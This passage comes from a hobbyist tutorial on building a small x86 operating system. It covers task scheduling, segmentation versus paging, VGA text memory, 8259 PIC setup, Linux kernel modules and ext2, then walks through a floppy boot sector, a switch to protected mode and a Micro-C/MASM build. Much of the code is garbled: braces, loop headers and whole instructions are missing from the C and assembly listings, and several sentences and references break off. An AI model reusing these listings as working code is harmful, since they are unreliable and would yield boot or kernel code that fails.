	 * Default process to select..
	next = idle_task(this_cpu);
	c = -1000;
	list_for_each(tmp, &runqueue_head)
		p = list_entry(tmp, struct task_struct, run_list);

		if (can_schedule(p, this_cpu))
			int weight = goodness(p, this_cpu, prev->active_mm);
			if (weight > c){ c = weight, next = p; }

	/* Do we need to re-calculate counters? */
	if (unlikely(!c))
		struct task_struct *p;

			p->counter = (p->counter >> 1) + NICE_TO_TICKS(p->nice);
		goto repeat_schedule;

--[ 2.2 - Memory Management

A process both occupies and allocates memory. Once you have a task model
sketched out, you will need to give it access to a memory management
subsystem. Make sure to keep the interface to the memory subsystem clean,
so that you can yank it out and replace it later, if you need to.

On an OS level, memory protection is provided by two mechanisms:

					i-	segmentation
					ii-	paging

You will have to decide whether or not you want to support these two
features. Paging, in particular, is a hardware intensive task. This means
that if you do decide to provide paging facilities, porting the OS will
be difficult at best. According to Tanenbaum, this is the primary reason
why Minix does not support paging.

Segmentation can be enforced by hardware, or can be done manually via a
sand boxing technique at the kernel level. Almost everyone relies on
hardware based segmentation because it is faster. Like paging, hardware
based segmentation will necessarily involve a lot of hardware specific
code and a healthy dose of assembly language.

The MMURTL operating system breaks its virtual address space into three
segments. There's one code segment for the OS, one code segment for
applications, and a single data segment. This doesn't exactly protect
the applications from each other, but it does protect the OS.

		MMURTL Segment		Selector Value
		--------------		--------------
		OS code				0x08
		Apps code			0x18
		Apps data			0x10

MMURTL's memory subsystem is actually set up by the boot sector! That's
correct, I said the boot sector. If you look at the source code in
bootblok.asm, which Burgess compiles with TASM, you notice that the book
code does the book keeping necessary to make the transition to protected
mode. Here are a few relevant snippets from the file.

		IDTptr	DW 7FFh		;LIMIT 256 IDT Slots
				DD 0000h	;BASE (Linear)
		GDTptr	DW 17FFh	;LIMIT 768 slots
				DD 0800h	;BASE (Linear)
		LIDT FWORD PTR IDTptr ;Load Processor ITD Pointer
		LGDT FWORD PTR GDTptr ;Load Processor GDT Pointer
		MOV EAX,CR0 ;Control Register
		OR AL,1 ;Set protected mode bit
		JMP $+2 ;Clear prefetch queue with JMP
		MOV BX, 10h ;Set up segment registers

		;We define a far jump
		DB 66h
		DB 67h
		DB 0EAh
		DD 10000h
		DW 8h
		; now in protect mode

Before he loaded GDTR and IDTR, Burgess loaded the OS into memory so that
the base address values in the selectors actually point to valid
global and interrupt descriptor tables. It also saves him from having
to put these data structures in the boot code, which helps because of
the 512 byte size limit.

Most production operating systems use paging as a way to augment the
address space which the OS manages. Paging is complicated, and involves
a lot of dedicated code, and this code frequently executes ... which
adds up to a tremendous loss in performance. Disk I/O is probably the
most costly operation an isolated computer can perform. Even with
the bookkeeping being pushed down to the hardware, paging eats up time.

Barry Brey, who is an expert on the Intel chip set, told me that paging on
Windows eats up about 10% of the execution time. In fact, paging is so
costly, in terms of execution time, and RAM is so cheap that it is
often a better idea to buy more memory and turn off paging anyways.
In light of this, you shouldn't feel like paging is a necessity. If you
are designing an embedded OS, you won't need paging anyways.

Back when primary memory cores were 16KB, and those little magnets were
big ticket items, paging probably made a whole lot more sense. Today,
however, buying a couple GB of SDRAM is not uncommon and this causes me
to speculate that maybe paging is a relic of the past.

--[ 2.3 - I/O interface

This is the scary part.

You now have processes, and they live in memory. But they cannot interact
with the outside world without connections to I/O devices. Connecting to
I/O devices is traditionally performed by sections of code called drivers,
which are traditionally buried in the bowels of the OS. As with other
components of the OS, you will have to use your assembly language skills.

In Intel protected mode, using the BIOS to get data to the screen is not
an option because the old real-mode way of handling interrupts and
addressing memory is no longer valid. One way to send messages to the
screen is to write directly to video memory. Most monitors, even flat
panels, start up in either VGA 80x25 monochrome text mode or VGA 80x25
color text mode.

	memory region	real-mode address    linear address of buffer
	-------------   -----------------    ----------------------
	monochrome text   B000[0]:0000          B0000H
	color text		  B800[0]:0000          B8000H

In either case, the screen can display 80 rows and 25 columns worth of
character data. Each character takes up two bytes in the video RAM memory
region ( which isn't so bad ... 80x25=2000x2=4000 bytes ). You can place
a character on the screen by merely altering the contents of video RAM.
The lower byte holds the ASCII character, and the high byte holds an

The attribute bit is organized as follows:

		           bit 7   blink
				   bit 6
				   bit 5   background color ( 0H=black )
				   bit 4
				   bit 3
				   bit 2   foreground color ( 0EH=white )
				   bit 1
				   bit 0

To handle multiple screens, you merely create screen buffers and then
commit the virtual screen to video RAM when you want to see it.
For example, in protected mode the following code ( written with DJGPP )
will place a 'J' on the screen.

		#include <sys/farptr.h>
        #include <go32.h>
		_farpokeb(_dos_ds, 0xB8000, 'J');
		_farpokeb(_dos_ds, 0xB8000+1, 0x0F);

When I saw the following snippet of code in Minix's console.c file,
I knew that Minix used this technique to write to the screen.

#define MONO_BASE    0xB0000L	/* base of mono video memory */
#define COLOR_BASE   0xB8000L	/* base of color video memory */
PUBLIC void scr_init(tp)
tty_t *tp;
  if (color)
	vid_base = COLOR_BASE;
	vid_size = COLOR_SIZE;
	vid_base = MONO_BASE;
	vid_size = MONO_SIZE;

Handling I/O to other devices on the Intel platform is no where nearly
as simple. This is where our old friend the 8259 Programmable Interrupt
Controller (PIC) comes into play. Recently I have read a lot in Intel
docs about an advanced PIC (i.e. APIC), but everyone still seems to be
sticking to the old interrupt controller.

The 8259 PIC is the hardware liaison between the hardware and the processor.
The most common setup involves two 8259 PICs configured in a master-slave
arrangement. Each PIC has eight interrupt request lines (IRQ lines) that
receive data from external devices ( i.e. the keyboard, hard drive, etc. ).
The master 8259 will use its third pin to latch on to the slave 8259
so that, all told, they provide 15 IRQ lines for external hardware. The
master 8259 then communicates to the CPU through the CPUs INTR interrupt
PIN. The slave 8259 uses it's INTR slot to speak to the master on its
third IRQ line.

Normally the BIOS will program the 8259 when then computer boots, but
to talk to hardware devices in protected mode, the 8259 must be
re-programmed. This is because the 8259 couples the IRQ lines to
interrupt signals. Programming the 8259 will make use of the IN and OUT
instructions. You basically have to send 8-bit values to the 8259's
interrupt command register (ICR) and interrupt mask register (IMR)
in a certain order. One wrong move and you triple-fault.

My favorite example of programming the 8259 PIC comes from MMURTL. The
following code is located in INITCODE.INC and is invoked during the
initialization sequence in MOS.ASM.

; This sets IRQ00-0F vectors in the 8259s
; to be Int20 thru 2F.
; When the PICUs are initialized, all the hardware interrupts are MASKED.
; Each driver that uses a hardware interrupt(s) is responsible
; for unmasking that particular IRQ.
PICU1          EQU 0020h
PICU2          EQU 00A0h

		MOV AL,00010001b
		OUT PICU1+0,AL          	;ICW1 - MASTER
		jmp $+2
		jmp $+2
		OUT PICU2+0,AL          	;ICW1 - SLAVE
		jmp $+2
		jmp $+2
		MOV AL,20h
		OUT PICU1+1,AL          	;ICW2 - MASTER
		jmp $+2
		jmp $+2
		MOV AL,28h
		OUT PICU2+1,AL          	;ICW2 - SLAVE
		jmp $+2
		jmp $+2
		MOV AL,00000100b
		OUT PICU1+1,AL          	;ICW3 - MASTER
		jmp $+2
		jmp $+2
		MOV AL,00000010b
		OUT PICU2+1,AL          	;ICW3 - SLAVE
		jmp $+2
		jmp $+2
		MOV AL,00000001b
		OUT PICU1+1,AL          	;ICW4 - MASTER
		jmp $+2
		jmp $+2
		OUT PICU2+1,AL          	;ICW4 - SLAVE
		jmp $+2
		jmp $+2
		MOV AL,11111010b			;Masked all but cascade/timer
;		MOV AL,01000000b			;Floppy masked
		OUT PICU1+1,AL          	;MASK - MASTER (0= Ints ON)
		jmp $+2
		jmp $+2
		MOV AL,11111111b
;		MOV AL,00000000b
		OUT PICU2+1,AL          	;MASK - SLAVE
		jmp $+2
		jmp $+2

Note how Burgess performs two NEAR jumps after each OUT instruction. This
is to give the PIC time to process the command.

Writing a driver can be a harrowing experience. This is because drivers
are nothing less than official members of the kernel memory image. When
you build a driver, you are building a part of the OS. This means that
if you incorrectly implement a driver, you could be dooming your system
to a crash of the worst kind ... death by friendly fire.

Building drivers is also fraught with all sorts of vendor-specific byte
encoding and bit wise acrobatics. The best advise that I can give you is
to stick to widely-used, commodity, hardware. Once you have a working
console, you can attempt to communicate with a disk drive and then maybe
a network card.

You might want to consider designing your OS so that drivers can be
loaded and unloaded at runtime. Having to recompile the kernel to
accommodate a single driver is a pain. This will confront you with
creating an indirect calling mechanism so that the OS can invoke the
driver, even though it does not know in advance where that driver is.

The Linux kernel allows code to be added to the kernel at runtime
via loadable kernel modules (LKMs). These dynamically loadable modules
are nothing more than ELF object files ( they've been compiled, but
not officially linked ). There are a number of utilities that can
be used to manage LKMs. Two of the most common are insmod and rmmod,
which are used to insert and remove LKMs at runtime.

The insmod utility acts as a linker/loader and assimilates the LKM into
the kernel's memory image. Insmod does this by invoking the init_module
system call. This is located in /usr/src/linux/kernel/module.c.

asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user){ ...

This function, in turn, invokes another function belonging to the LKM
which also just happens to be named init_module(). Here is a the
relevant snippet from sys_init_module():

	/* Initialize the module.  */
	mod->flags |= MOD_INITIALIZING;
	if (mod->init && (error = mod->init()) != 0)
		mod->flags &= ~MOD_INITIALIZING;
		if (error > 0)	/* Buggy module */
			error = -EBUSY;
		goto err0;

The LKM's init_module() function, which is pointed to by the kernel code
above, then invokes a kernel routine to register the LKMs subroutines.
Here is a simple example:

	/* Initialize the module - Register the character device */
	int init_module()
		/* Register the character device (atleast try) */
		Major = module_register_chrdev(	0,

		/* Negative values signify an error */
		if (Major < 0)
			printk ("%s device failed with %d\n",
	                "Sorry, registering the character",
			return Major;

		printk ("%s The major device number is %d.\n",
                "Registeration is a success.",
		printk ("If you want to talk to the device driver,\n");
		printk ("you'll have to create a device file. \n");
		printk ("We suggest you use:\n");
		printk ("mknod <name> c %d <minor>\n", Major);
		printk ("You can try different minor numbers %s",
                "and see what happens.\n");

		return 0;

The Unix OS, in an attempt to simply things, treats every device like a
file. This is done in order to keep the number of system calls down and
to offer a uniform interface from one hardware subsystem to the next.
This is an approach worth considering. However, on the other hand, the
Unix approach have not always gotten a good grade in terms of ease of use.
Specifically, I have heard complaints about mounting and un-mounting from
Windows users who migrate to Unix.

Note, If you do take the LKM route, you should be careful not to make
the loadable driver feature into a security flaw.

With regard to nuts-and-bolts details, for the Intel platform, I would
recommend Frank Van Gilluwe's book. If you are not targeting Intel, then
you have some real digging to do. Get on the phone and the internet and
contact your hardware vendors.

--[ 2.4 - File System

You now have processes, in memory, that can talk to the outside world.
The final step is to give them a way of persisting and organizing data.

In general, you will build the file system manager on top of the disk
drivers that you implemented earlier in the last step. If your OS is
managing an embedded system, you may not need to implement a file system
because no disk hardware exists. Even with embedded systems, though, I've
seen file systems implemented as RAM disks. Even embedded systems
sometimes need to produce and store log files ....

There are several documented files system specifications available to the
public, like the ext2 file system made famous by Linux. Here is the main
link for the ext2 implementation:

The documentation at this site should be sufficient to get you started.
In particular, there is a document named "Design and Implementation of
the Second Extended File System" which I found to be a well-rounded
introduction to ext2.

If you have the Linux kernel source and you want to take a look at the
basic data structures of the ext2fs, then look in:


To take a look at the functions that manipulate these data structures,
take a look in the following directory:


In this directory you will see code like:

#include <linux/module.h>

MODULE_AUTHOR("Remy Card and others");
MODULE_DESCRIPTION("Second Extended Filesystem");

in inode.c, and in super.c you will see:



Obviously, from the previous discussion, you should realize that support
for ext2fs can be provided by an LKM!

Some OS creators, like Burgess, go the way of the MS-DOS FAT file system,
for the sake of simplicity, and so they didn't have to reformat their
hard drives. I wouldn't recommend the FAT system. In general, you might
want to keep in mind that it is a good idea to implement a file system
which facilitates file ownership and access controls. More on this in the
next section ...

--[ 2.5 - Notes On Security

Complexity is the enemy of security. Simple procedures are easy to check
and police, complicated ones are not. Any certified accountant will tell
you that our Byzantine tax laws leave all sorts of room for abuse.

Software is the same way. Complicated source code has the potential to
provide all sorts of insidious places for bugs to hide. As operating
systems have evolved they have become more complicated. According to
testimony given by a Microsoft executive on Feb. 2, 1999, Windows 98
consists of over 18 million lines of code. Do you think there is a bug
in there somewhere? Oh, ... no ... Microsoft wouldn't sell buggy code ...

<picture Dr. Evil, a la Austin Powers, saying the previous sentence>

Security is not something that you want to add on to your OS when you are
almost done with it. Security should be an innate part of your system's
normal operation. Keep this in mind during every phase of construction,
from task management to the file system manager.

In addition, you might consider having a creditable third party perform
an independent audit of your security mechanisms before you proclaim
your OS as being 'secure.' For example, the NSA evaluates 'trusted'
operating systems on a scale from C2 to A1.

A 'trusted' OS is just an OS which has security policies in place. The
salient characteristic of a trusted system is the ranking which the
NSA gives it. A C2 trusted system has only limited access and
authentication controls. An A1 trusted system, at the other end of the
spectrum, has rigorous and mandatory security mechanisms.

People who have imaginary enemies are called 'paranoid.' People who have
enemies that they think are imaginary are called 'victims.' It's often
hard to tell the two apart until its too late. If I had to trust my
business to an OS, I would prefer to invest in one that errs on the side
of paranoia.

--[ 3 - Simple Case Study

In this section, I present you with some home-brewed system code in an
effort to highlight some of the issues that I talked about in Part 1.

--[ 3.1 - Host Platform

For a number of reasons, I decided to take a shortcut and create an OS
that runs on Intel 8x86 hardware. Cost was one salient issue, and so was
the fact that there are several potential host operating systems to choose
from ( Linux, OpenBSD, MMURTL, Windows, etc. ).

The primary benefit, however, is that I can avoid ( to an extent ) having
to build a cross-compiler and simulator from scratch. By having the host
and target systems run on the same hardware, I was able to take advantage
of existing tools that generated x86 binaries and emulated x86 hardware.

For the sake of appealing to the least common denominator, I decided to
use Windows as a host OS. Windows, regardless of its failings, happens
to be have the largest base of users. Almost anyone should be able to
follow the issues and ideas I discuss in Part 3.

One side benefit of choosing Windows is that it ships with its own
simulator. The DOS Virtual Machine subsystem is basically a crudely
implemented 8086 simulator. I say 'crude' because it doesn't have the
number or range of features that bochs provides. I actually tested a lot
of code within the confines of the DOS VM.

--[ 3.2 - Compiler Issues

There are dozens of C compilers that run on Windows. I ended up having
three requirements for choosing one:

		i-		generates raw binary ( i.e.  MS .COM file )

		ii-		allow for special in-line instructions (i.e. INT, LGDT )

		iii-	is free

Intel PCs boot into real-mode, which means that I will need to start the
party with a 16-bit compiler. In addition, system code must be raw binary
so that runtime address fix ups do not have to be manually implemented.
This is not mandatory, but it would make life much easier.

The only commercial compilers that generated 16-bit, raw binary, files
passed out of fashion years ago ... so I had to do some searching.

After trolling the net for compilers, I ended up with the following matrix:

	compiler		decision	reason
	--------    	--------    ------
	TurboC			NO			in-line assembly requires TASM ($$$)
	Micro-C			YES			generates MASM friendly output
	PacificC    	NO			does not support tiny MM (i.e. .COM)
	Borland 4.5C++  NO          costs $$$
	VisualC++ 1.52  NO			costs $$$
	Watcom			NO			does not support tiny MM (i.e. .COM)
	DJGPP			NO			AT&T assembler syntax ( yuck )

I Ended up working with Micro-C, even though it does not support the entire
ANSI standard. The output of Micro-C is assembler and can be fed to MASM
without to much trouble. Micro-C was created by Dave Dunfield and can be
found at:

Don't worry about the MASM dependency. You can now get MASM 6.1 for free
as a part of the Windows DDK. See the following URL for details:

The only downside to obtaining this 'free' version of MASM ( i.e. the
ML.EXE,ML.err, and LINK.EXE files ) is that they come with zero documents.

Ha ha, the internet to the rescue ....

By using Micro-C, I am following the advice I gave in Part 1 and sticking
to the tools that I am skilled with. I grew up using MASM and TASM. I am
comfortable using them at the command line and reading their listing
files. Because MASM is the free tool I picked it over TASM, even if it is
a little buggy.

One problem with using most C compilers to create OS code is that they all
add formatting information to the executable files they generate. For
example, the current version of Visual C++ creates console binaries that
obey the Portable Executable (PE) file format. This extra formatting is
used by the OS program loader at runtime.

Compilers also tack on library code to their executables, even when they
don't need it.

Consider a text file named file.c consisting of the code:

						void main(){}

I am going to compile this code as a .COM file using TurboC. Take a look at
the size of the object file and final binary.

C:\DOCS\OS\lab\testTCC>tcc -mt -lt -ln file.c

.              <DIR>        03-29-02  9:26p .
..             <DIR>        03-29-02  9:26p ..
FILE     C              19  03-30-02 12:07a file.c
FILE     OBJ           184  03-30-02 12:09a FILE.OBJ
FILE     COM         1,742  03-30-02 12:09a

Holy smokes... there's a mother load of ballast that the compiler adds on.
This is strictly the doing of the compiler and linker. Those bastards!

To see how excessive this actually is, let's look at a .COM file which
is coded in assembler. For example, let's create a file.asm that looks

ADD ax,ax
ADD ax,cx
end start

We can assemble this with MASM

C:\DOCS\OS\lab\testTCC>ml /AT file.asm

.              <DIR>        03-29-02  9:26p .
..             <DIR>        03-29-02  9:26p ..
FILE     OBJ            53  03-30-02 12:27a file.obj
FILE     ASM            67  03-30-02 12:27a file.asm
FILE     COM             4  03-30-02 12:27a
         5 file(s)            187 bytes
         2 dir(s)        7,463.23 MB free

As you can see, the executable is only 4 bytes in size! The assembler
didn't add anything, unlike the C compiler, which threw in everything but
the kitchen sink. In all likelihood, the extra space is probably taken
up by libraries which the linker appends on.

The painful truth is, unless you want to  build your own backend to a
C compiler, you will be faced with extra code and data on your OS binary.
One solution is simply to ignore the additional bytes. Which is to say
that the OS boot loader will simply skip the formatting stuff and go right
for the code which you wrote. If you decide to take this route, you might
want to look at a hex dump of your binary to determine the file offset at
which your code begins.

I escaped dealing with this problem because Micro-C's C compiler (MCC)
spits out an assembly file instead of object code. This provided me with
the opportunity to tweak and remove any extra junk before it gets a
chance to find its way into the executable.

However, I still had problems...

For example, the MCC compiler would always add extra segments and
place program elements in them. Variables translated to assembler would
always be prefixed with these unwanted segments (i.e. OFFSET DGRP:_var ).

Take the program:

char arr[]={'d','e','v','m','a','n','\0'};
void main(){}

MCC will process this file and spit out:

EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR
EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR
EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD
_arr DB 100,101,118,109,97,110,0
PUBLIC _main
_main: PUSH BP

Rather than re-work the backend of the compiler, I implemented a more
immediate solution by creating a hasty post-processor. The alternative
would have been to manually adjust each assembly file that MCC produced,
and that was just too much work.

The following program ( convert.c ) creates a skeleton .COM program of the


	ORG 100H ; for DOS PSP only, strip and start OS on 0x0000 offset

	JMP _main

	; --> add stuff here <----

	EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR
	EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR
	EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD

	END here

It then picks out the procedures and data elements in the original
assembly program and places them in the body of the skeleton. Here is the
somewhat awkward, but effective program that performed this task:

/* convert.c------------------------------------------------------------*/


/* read a line from fptr, place in buff */

int getNextLine(FILE *fptr,char *buff)
	int i=0;
	int ch;

	ch = fgetc(fptr);
	if(ch==EOF){ buff[0]='\0'; return(0); }

	while((ch=='\n')||(ch=='\r')||(ch=='\t')||(ch==' '))
		ch = fgetc(fptr);
		if(ch==EOF){ buff[0]='\0'; return(0); }

		if(ch!=EOF){ buff[i]=(char)ch; i++; }

		ch = fgetc(fptr);



}/*end getNextLine*/

/* changes DGRP:_variable  to CSEG:_variable */

void swipeDGRP(char *buff)
	int i;
}/*end swipeDGRP*/

void main(int argc, char *argv[])
	FILE *fin;
	FILE *fout;

	/*MASM allows lines to be 512 chars long, so have upper bound*/

	char buffer[512];
	char write=0;

	fin = fopen(argv[1],"rb");
	printf("Opening %s\n",argv[1]);
	fout = fopen("os.asm","wb");

	fprintf(fout,".486P ; enable 80486 instructions\r\n");
	fprintf(fout,"CSEG SEGMENT BYTE USE16 PUBLIC \'CODE\'\r\n");
	fprintf(fout,";\'USE16\' forces 16-bit offset addresses\r\n");
	fprintf(fout,"ASSUME CS:CSEG, DS:CSEG, SS:CSEG\r\n");
	fprintf(fout,"ORG 100H\r\n");
	fprintf(fout,"JMP _main\r\n\r\n");

	fprintf(fout,"EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR\r\n");
	fprintf(fout,"EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR\r\n");
	fprintf(fout,"EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD\r\n\r\n");

			(buffer[5]=='C')){ fprintf(fout,"\r\n"); write=1;}

			(buffer[3]=='G')){ write=0;}

			(buffer[3]=='G')){ write=0;}

			(buffer[2]=='T')){ fprintf(fout,"%s",buffer); write=0;}


	fprintf(fout,"CSEG ENDS\r\n");
	fprintf(fout,"END here\r\n");


}/*end main-------------------------------------------------------------*/

--[ 3.3 - Booting Up

In the following discussion, I'm going to discuss booting from a floppy
disk. Booting from a hard drive, CD-ROM, or other storage device is
typically a lot more complicated due to partitioning and device formatting.

OK, the first thing I'm going to do is build a boot program. This program
has to be small. In fact, it has to be less than 512 bytes in size because
it has to fit on the very first logical sector of the floppy disk. Most
1.44 floppy disks have 80 tracks per side and 18 sectors per track. The
BIOS labels the two sides ( 0,1 ), tracks 0-79, and sectors 1-18.

When an Intel machine boots, the BIOS firmware (which resides
in a ROM chip on the motherboard) will look for a bootable storage
device. The order in which it does so can be configured on most machines
via a BIOS startup menu system. If the BIOS finds a boot diskette, it will
read the diskettes boot sector (Track 0, Side 0 and Sector 1) into memory
and execute the boot sector code. Some times this code will do nothing
more than print a message to the screen:

					Not a boot disk, you are hosed.

All 8x86 machines start in real-mode, and the boot sector is loaded into
memory at the address 0000[0]:7C00 ( or 0x07C00 ) using hexadecimal. Once
this occurs, the BIOS washes its hands of the booting procedure and we
are left to our own devices.

Many operating systems will have the boot sector load a larger boot
program, which then loads the OS proper. This is known as a multi-stage
boot. Large operating systems that have a lot of things to set up,
a complicated file structure, and flexible configuration, will utilize
a multi-stage boot loader. A classic example of this is GNU's GRand
Unified Bootloader ( GRUB ).

As usual, I am going to take the path of least resistance. I am going to
have the boot sector directly load my system code. The boot sector assumes
that the system code  will be located directly after the boot sector
(track 0, side, 0, sector 2 ). This will save me from including special
data and instructions to read a file system. Finally, because of size
constraints, all the code in this section will be written in assembler.

The boot code follows:



; step 1) load the OS on floppy
;         to location above the
;         existing interrupt table (0-3FF)
;         and BIOS data region (400-7FF)

MOV AH,02H ; read command
MOV AL,10H ; 16 sectors = 8KB of storage to load
MOV CH,0H  ; low 8 bits of track number
MOV CL,2H  ; sector start ( right after boot sector )
MOV DH,0H  ; side
MOV DL,0H  ; drive
MOV ES,BX  ; segment to load code
MOV BX,800H  ; offset to load code ( after IVT )

; signal that code was loaded and we are going to jump

MOV AL,'-'
MOV AL,'-'

; step 2) jump to the OS
;         bonzai!!!


END start

;-end file----------------------------------------------------------------

This boot loader also assumes that the system code to be loaded lies
in sectors 2-17 on the first track. As the OS gets bigger ( beyond 8K ),
extra instructions will be needed to load the additional code. But for now
lets assume that the code will be less than 8K in size.

OK, you should build the above code as a .COM file and burn it on to the
boot sector. The boot.asm file is assembled via:

			C:\> ML  /AT  boot.asm

How do you do burn it on to the floppy disk's boot sector?

Ah ha! Debug to the rescue. Note, for big jobs I would recommend rawrite.
This is such a small job that debug will suffice. Not to mention, I have
nostalgic feeling about debug. I assembled my first program with it; back
in the 1980s when parachute pants were in.

Assuming the boot code has been assembled to a file named boot.COM, here
is how you would write it to the boot sector of a floppy disk.

-w cs:0100 0 0 1

The 'l' command loads the file to memory starting at CS:0100 hex.
The 'w' command writes this memory to disk A ( 0 ) starting at sector 0
and writing a single sector. The 'w' command has the general form:

				w  address  drive  start-sector  #-sectors

Note, DOS sees logical sectors ( which start with 0 ), whereas
physical (BIOS manipulated) sectors always start with 1.

If you want to test this whole procedure, assemble the following program
as a .COM file and burn it on to the boot sector of a diskette with debug.

MOV AL,'-'
MOV AL,'h'
MOV AL,'i'
MOV AL,'-'
JMP lp
END start

This will print '-hi-' to the console and then loop. It's a nice way to
break the ice and build your confidence. Especially if you've never
manually meddled with disk sectors.

--[ 3.4 - Initializing The OS

The boot sector loads the system code binary into memory and then sets
CS and IP to the first ( lowest ) byte of the code's instructions. My
system code doesn't do anything more than print a few messages and then
jump to protected mode. Execution ends in an infinite loop.

I wrote the program using real-mode instructions. Intel machines all
start up in real-mode. It is the responsibility of this initial code to
push the computer into protected memory mode. Once in protected mode,
the OS will adjust its segment registers, set up a stack, and establish
an execution environment for applications ( process table, drivers, etc.).

This made life difficult because if I could only go so far using
real-mode instructions and registers. Eventually, I would need to
use the extended registers (i.e. EAX ) to access memory higher up.

Some compilers won't accept a mixture of 16-bit and 32-bit
instructions, or they get persnickety and encode instructions incorrectly.
If you look at the FAR JMP that I make at the end of setUpMemory(), you'll
notice that I had to code it manually.

My situation was even more tenuous because I was fitting everything into a
single segment. Once I had made the translation to protected mode, there
wasn't that much that I could do that was very interesting.

One solution would be to convert my 16-bit system code into the second
phase of a multi-stage boot process. In other words, have the system code,
which was loaded by the boat sector, load a 32-bit binary into memory
before it makes the transition to protected mode. When the FAR JMP is
executed, it could send execution to the 32-bit code ... which could then
take matters from there. If you look at MMURTL, you will see that this
is exactly what Burgess does. Doh! I just wish I had known sooner.

I was excited initially by the thought of being able to leverage the Micro-
C compiler. However, as you will see, most of the set up work was done
via in-line assembly. Only small portions were pure C. This is the nature
of initializing an OS. Key memory and task management functions are
anchored directly to the hardware, and the best that you can hope for is
to bury the assembly code deep in the bowels of the OS and wrap everything
in C.

Here is the system code (os.c), in all its glory:

/* os.c ----------------------------------------------------------------*/

void printBiosCh(ch)
char ch;
	ch = BP + savedBP + retaddress = BP + 4 bytes
	asm "MOV AH,0EH";
	asm "MOV AL,+4[BP]";
	asm "INT 10H";
}/*end printBiosCh---------------------------------------*/

void printBiosStr(cptr,n)
char* cptr;
int n;
	int i;
	for(i=0;i<n;i++){ printBiosCh(cptr[i]); }
}/*end printBiosStr--------------------------------------*/

void setUpMemory()
	/*going to protected mode is an 6-step dance*/

	/* step 1) build GDT ( see GDT table in function below )*/

	step 2) disable interrupts so we can work undisturbed
	( note, once we issue CLI, we cannot use BIOS interrupts
	  to print data to the screen )

	asm "CLI";

	step 3) enable A20 address line via keyboard controller
	        60H = status port, 64H = control port on 8042

	asm "MOV AL,0D1H";
	asm "OUT 64H,AL";
	asm "MOV AL,0DFH";
	asm "OUT 60H,AL";

	step 4) execute LGDT instruction to load GDTR with GDT info
	        recall GDTR = 48-bits
			            = [32-bit base address][16-bit limit]
					 HI-bit                       LO-bit

	asm "JMP overRdata";
	asm "gdtr_stuff:";
	asm "gdt_limit  DW  0C0H";
	asm "gdt_base   DD  0H";
	asm "overRdata:";

	copy GDT to 0000[0]:0000 ( linear address is 00000000H )
	makes life easier, so don't have to modify gdt_base
	REP MOVSB moves DS:[SI] to ES:[DI] until CX=0

	asm "MOV AX,OFFSET CS:nullDescriptor";
	asm "MOV SI,AX";
	asm "MOV AX,0";
	asm "MOV ES,AX";
	asm "MOV DI,0H";
	asm "MOV CX,0C0H";
	asm "REP MOVSB";

	asm "LGDT FWORD PTR gdtr_stuff";

	/* step 5) set first bit in CR0, protected mode bit*/

	asm "smsw    ax";
    asm "or      al,1";
    asm "lmsw    ax";

	step 6) perform a manually coded FAR JUMP
			( MASM would encode it incorrectly in 'USE16' mode )

	asm "DB 66H";
	asm "DB 67H";
	asm "DB 0EAH";
	asm "DW OFFSET _loadshell";
	asm "DW  8H";

	/* end of the line, infinite loop */

	asm "_loadshell:";
	asm "NOP";
	asm "JMP _loadShell";

}/*end setUpMemory---------------------------------------*/

/* our GDT has 3 descriptor (null,code,data)*/

void GDT()
	end up treating the function body as data
	( can treat code as data as long as we don't execute it ;-))

	asm "nullDescriptor:";
	asm "NDlimit0_15			dw	0	; seg. limit";
	asm "NDbaseAddr0_15			dw	0	; base address";
	asm "NDbaseAddr16_23		db	0	; base address";
	asm "NDflags				db	0	; segment type and flags";
	asm "NDlimit_flags			db	0	; segment limit and flags";
	asm "NDbaseAddr24_31		db	0	; final 8 bits of base address";

	asm "codeDescriptor:";
	asm "CDlimit0_15			dw	0FFFFH";
	asm "CDbaseAddr0_15			dw	0";
	asm "CDbaseAddr16_23		db	0";
	asm "CDflags				db	9AH";
	asm "CDlimit_flags			db	0CFH";
	asm "CDbaseAddr24_31		db	0";

	asm "dataDescriptor:";
	asm "DDlimit0_15			dw	0FFFFH";
	asm "DDbaseAddr0_15			dw	0";
	asm "DDbaseAddr16_23		db	0";
	asm "DDflags				db	92H";
	asm "DDlimit_flags			db	0CFH";
	asm "DDbaseAddr24_31		db	0";


}/*end GDT-----------------------------------------------*/

char startStr[7] = {'S','t','a','r','t','\n','\r'};
char startMemStr[10] = {'I','n','i','t',' ','m','e','m','\n','\r'};
char tstack[128];

void main()
	/*set up temp real-mode stack*/
	asm "MOV AX,CS";
	asm "MOV SS,AX";
	asm "MOV AX, OFFSET CSEG:_tstack";
	asm "ADD AX,80H";
	asm "MOV SP,AX";

	/*successfully made JMP to OS from boot loader*/

	/*set up Basic Protected Mode*/

}/*end main-------------------------------------------------------------*/

--[ 3.5 - Building and Deploying

Because the OS was written in C and in-line assembler, the build
process involved three distinct steps. First, I compiled my system code to
assembly with:

	mcp os.c | mcc > osPre.asm

Note, mcp is Micro-C's pre-processor.

Chuck it all in one 16-bit segment:

    convert osPre.asm

Once I had an .ASM file in my hands, I assembled it:

	ML /Fllist.txt /AT /Zm -c osPre.asm

Note how I've had to use the /Zm option so that I can assemble code that
obeys conventions intended for earlier versions of MASM. This step is
typically where the problems occurred. Needless to say, I became tired of
fixing up segment prefixes rather quickly and that is what led me to
write convert.c.

Finally, after a few tears, I linked the OS object file to one of Micro-C's
object files.


If you look back at convert.c, you'll see a whole load of EXTRN directives.
All of these imported symbols are math libraries that are located in the
PC86RL_T.OBJ file.

If you have a copy of NASM on your machine, you can verify your work with
the following command:

	ndisasmw -b 16

This will dump a disassembled version of the code to the screen. If you
want a more permanent artifact, then use the listing file option when you
invoke ML.EXE:

	ML /AT /Zm /Fl -c os.asm

Once you have the OS and boot sector code built. You should burn them on
to the boot floppy. You can do so with the DOS debug utility.

-w cs:0100 0 0 1

-w cs:0100 0 1 2

